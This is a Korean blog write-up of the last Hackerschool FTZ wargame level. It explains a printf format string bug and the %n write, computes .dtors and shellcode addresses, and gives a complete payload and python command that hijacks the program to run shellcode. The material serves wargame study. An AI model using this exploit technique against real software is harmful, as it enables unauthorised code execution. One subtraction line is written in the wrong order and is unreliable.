대망의 마지막문제
원래 printf를 쓸때
printf("%s",blesh)이런식으로 포맷스트링을 넣어서 사용한다.
하지만 위 문제는 포맷 스트링 문자열을 인자로 넣지 않고 buf변수를 바로 넣어 호출하였다.
이점을 이용하여 format string bug 를 이용할것이다.
생소한 %n을 이용하여 변수값을 변조할 수 있다.
예를들어 AAAA 를 입력했다고 가정했을때
처음에는 당연히 AAAA를 출력한다. %n을 만나면 지금까지 출력된 자릿수를 계산한다. 계산하니 AAAA 4자리이다. 이제 스택의 다음 4바이트의 내용을 확인하면 0x41414141(AAAA)라는 것을 알 수 있다.. 메모리의 0x41414141이라는 주소에 계산한 자릿수 4를 써버린다. 그리고 %n 앞에 다른서식문자를 이용하여 %n이 인식하는 자릿수를 지정할 수도 있다.
예를 들어 %100c%n 이렇게 넣어버리면 100이라는 숫자를 넣는다는 것이다.
ret주소에 쉘코드 주소를 덮어 쓸수 있다는 것이다.
일단 ret주소와 쉘코드 주소부터 알아보자
ret주소는 gdb가 안되서 dtors 주소를 알아내었다.
08049594 + 4 = 08049598
shellcode 주소
bffffee7
0xfee7 (65255(10)) 는 0x08049598에 넣고
0xbfff (49151(10)) 는 0x0804959a에 넣게 된다.
AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%8x
fee7에서 앞의 자리수 40 을 뺀 결과 65215
65255 - 0x1bfff = 49,432
"AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%8x%65215c%n%49432c%n"
(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%65215c%n"+"%49432c%n"'; cat) | ./attackme
(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%65215c%n"+"%49432c%n"'; cat) | ./attackme
끝
'Write-Up > 해커스쿨 FTZ' 카테고리의 다른 글
FTZ level19 (0) | 2021.03.16 |
---|---|
FTZ level18 (0) | 2021.03.16 |
FTZ level17 (0) | 2021.03.16 |
FTZ level16 (0) | 2021.03.16 |
FTZ level15 (0) | 2021.03.16 |